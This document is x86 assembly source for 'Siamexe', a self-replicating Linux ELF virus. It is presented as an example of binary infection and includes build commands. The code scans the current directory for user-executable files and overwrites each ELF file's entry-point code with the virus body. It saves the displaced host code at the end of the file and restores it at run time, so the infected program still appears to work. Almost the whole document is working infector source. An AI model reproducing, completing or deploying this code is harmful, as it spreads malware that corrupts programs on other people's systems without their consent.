; _____ ______ ___ ___ ; / \_ ______ __ __ / /~|_ ___\_ \ / /___ ; | _ /_]/ __ \ ' V ___/ _/ __ \ ' / \ ; | __/ | ____/ | |___ \ | ____/ / -- \ ; |__| |__|\______/__|__|_____/__|\_____/\__/\______/ ; ; This an example of an elf binary infection ; This technique is inspired of winux virus of Benny (great work) ; ; ; to Assemble it: ; nasm -f elf Siamexe.asm ; ld -o Siamexe Siamexe.o bits 32 global _start section .text %define SYS_exit 1 %define SYS_read 3 %define SYS_write 4 %define SYS_open 5 %define SYS_close 6 %define SYS_execve 11 %define SYS_seek 19 %define SYS_brk 45 %define SYS_sethostname 74 %define SYS_readdir 89 %define SYS_mmap 90 %define SYS_munmap 91 %define SYS_lstat 107 %define SYS_uname 109 %define SYS_deprotect 125 %define SYS_get_kernel_syms 130 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Some CODEZZ... ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; _start: push eax pushad ; Restore all flags mov ebx, dword [esp+32+4+4] ; get argv[0] call delta delta: pop ebp ; copy the virus body in the stack and exectute it mov ecx, end_of_host - begin_host sub esp, ecx lea esi, [ebp-delta+ begin_host] mov edi, esp rep movsb jmp esp begin_host: push ebx lea ebx, [ebp-delta+_start] and ebx, 0FFFFF000h mov ecx, 3000h mov edx, 7 mov eax, SYS_deprotect int 80h xor ecx, ecx ; in mode 0 pop ebx mov eax, SYS_open ; open host file int 80h cmp eax,0xFFFFF000 ja fuck_ call dot db '.',0 dot:pop esi push eax call InfectDirectory pop ebx RestoreHostCode: xor edx, edx ; edx=0 seekset db 0b9h ; mov ecx, xxxxxxxx bytes2seek: dd 00000000h mov eax, SYS_lseek int 80h or eax, eax jnz c_rc jmp dword[ebp-delta+first_generation] c_rc: lea ecx, [ebp-delta+_start] push ecx pop esi mov edx, heap_end-_start mov eax, SYS_read int 80h mov eax, SYS_close int 80h add esp, end_of_host - begin_host ; free virus memory mov dword [esp+32], esi ; write entrypoint popad ; Restore all registers ret ; return to host fuck_: mov eax, SYS_exit int 80h ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; NAME * InfectDirectory ; ; DESCR * infect ze current directory ; ; * ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; INPUT * ESI = Directory to infect ; ; OUTPUT * ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; InfectDirectory: xor ecx, ecx mov ebx, esi mov eax, SYS_open ; open dir int 80h or eax, eax jz near fuck_infect push eax pop dword [ebp-delta+ DirStream] loop_z: lea ecx, [ebp-delta+ dirent] mov ebx, dword [ebp-delta+ DirStream] mov eax, SYS_readdir int 80h or eax, eax jz fuck_infect add ecx, 0ah ; name of the file push ecx pop esi xchg ecx, ebx ; name of ze file lea ecx, [ebp-delta+stat] mov eax, SYS_lstat int 80h or eax, eax jnz fuck_infect ; error ? fuck.. movzx eax, word [ecx+08h] ; get st_mode of ze file push eax pop ebx and ebx, 0000F000h cmp ebx, 00008000h ; is it a regular file? jnz get_nxt ; if not find nxt and eax,00000040h or eax, eax ; is it a user executable file ? jz get_nxt ; if not find nxt gotcha: call InfectFile ; infect it!! get_nxt: jmp loop_z fuck_infect: ret ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; NAME * InfectFile ; ; DESCR * infect an elf file ; ; * ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; INPUT * ESI = Name of ze file ; ; OUTPUT * ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; InfectFile: xor eax, eax cdq mov ecx, 2 ; open ze file mov ebx, esi ; in rw mode mov eax, SYS_open int 80h cmp eax,0xFFFFF000 ja near open_fail push eax pop dword [ebp-delta+FileHandle] mov edx, 2 ; SEEK to ze end = 2 xor ecx,ecx ; offset 0 xchg eax, ebx ;file handle mov eax, SYS_lseek int 80h xchg eax, ecx ; sizeof file mov dword [ebp-delta+bytes2seek], ecx mov ebx, dword [ebp-delta+ FileHandle] call MapFile inc eax jz near mmap_fail dec eax push eax push eax pop dword [ebp-delta+MapAdress] pop esi ;begin infection begin_infection: mov eax, dword[esi] add eax, -464C457Fh jne near unmap_spce ; shit ! not a valid elf movzx eax, word [esi+28h] ; get elf header size mov ebx, dword [esi+18h] ; get entry_point movzx ecx, word [esi+2ch] ; get ph number movzx edx, word [esi+2ah] ; get ph entry size push esi pop edi ; set edi to beginning of add edi, eax ; program header table nxt_phdr: mov eax, dword[edi+0ch] add eax, dword[edi+14h] cmp ebx, eax jb got_phdr add edi, edx loop nxt_phdr jmp unmap_spce ; there is no valid ph ! got_phdr: mov esi, dword[esi+18h] ; get EIP sub esi, dword[edi+08h] ; get offsetsegment file offset push esi ; save offset from beginnig of psegment pop ebx ; in ebx add esi, dword[ebp-delta+MapAdress] ; goto EIP in map mov eax, dword[ebp-delta+_start] cmp dword[esi], eax jz unmap_spce ;already infected mov eax, dword[edi+14h] ; get segment size sub eax, ebx cmp eax, heap_end-_start jb unmap_spce ; sgm too small sub esp, heap_end-_start ; create a stack frame mov ebx, esi mov ecx, heap_end-_start mov edi, esp rep movsb ; write host code there! xchg ebx, edi lea esi, [ebp-delta+_start] mov ecx, heap_end-_start rep movsb ; inject dna! mov ecx,dword [ebp-delta+MapSize] mov ebx,dword [ebp-delta+MapAdress] mov eax, SYS_munmap int 80h ; unmap file mov edx, heap_end-_start mov ecx, esp mov ebx, dword [ebp-delta+FileHandle] mov eax, SYS_write int 80h ; write host cod at EOF add esp, heap_end-_start jmp mmap_fail unmap_spce: mov ecx,dword [ebp-delta+MapSize] mov ebx,dword [ebp-delta+MapAdress] mov eax, SYS_munmap int 80h ; unmap file mmap_fail: mov ebx, dword [ebp-delta+FileHandle] mov eax,SYS_close int 80h ; close file open_fail: ret ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; NAME * MapFile ; ; DESCR * Map ze specified file in memory ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; INPUT * EBX = handle of ze file ; ; * ECX = size to map ; ; OUTPUT * EAX = adr of the memory map ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; MapFile: lea esi, [ebp-delta+ mmap_arg] ; get mmap struct mov dword [esi+ 04h], ecx ; set map size mov dword [esi+ 10h], ebx ; set file handle xchg ebx, esi mov eax,SYS_mmap int 80h ; eax hold MapAdr cmp eax,0xFFFFF000 jbe no_map_pb xor eax, eax dec eax no_map_pb: ret end_of_host: ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Some DATAZZ... ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; db "[hAckniX <@))>< PienSteVo]" end_of_start: heap_start: DirStream dd 00000000h; ptr on the DIR struct FileHandle dd 00000000h MapHandle dd 00000000h MapAdress dd 00000000h MapSize dd 00000000h FileSize dd 00000000h HostFileName dd 00000000h;ptr on the host filename string ; space for stat struct stat: dw 0000h ;st_dev dw 0000h ;__pad1 dd 00000000h ;st_ino dw 0000h ;st_mode dw 0000h ;st_nlink dw 0000h ;st_uid dw 0000h ;st_gid dw 0000h ;st_rdev dw 0000h ;__pad2 dd 00000000h ;st_size dd 00000000h ;st_blksize dd 00000000h ;st_blocks dd 00000000h ;st_atime dd 00000000h ;__unused1 dd 00000000h ;st_mtime dd 00000000h ;__unused2 dd 00000000h ;st_ctime dd 00000000h ;__unused3 dd 00000000h ;__unused4 dd 00000000h ;__unused5 dirent: ;ze dirent struct dd 00000000h ; d_ino dd 00000000h ; d_off dw 0000h ; d_reclen times 256 db 00h ; d_name[256] mmap_arg: dd 00000000h ; addr => no specified adr dd 00000000h ; len dd 00000003h ; prot => RW attributes dd 00000001h ; flags => MAP_PRIVATE dd 00000000h ; fd dd 00000000h ; offset => offset null heap_end: ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; First generation ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; first_msg db "this is Siamexe first generation stub!", 0ah, 0 first_msg_len dd $ - first_msg first_generation dd $+4 mov edx, dword [ebp-delta+first_msg_len] lea ecx, [ebp-delta+first_msg] mov ebx, 01;stdout mov eax,4;write int 80h mov eax,1;exit int 80h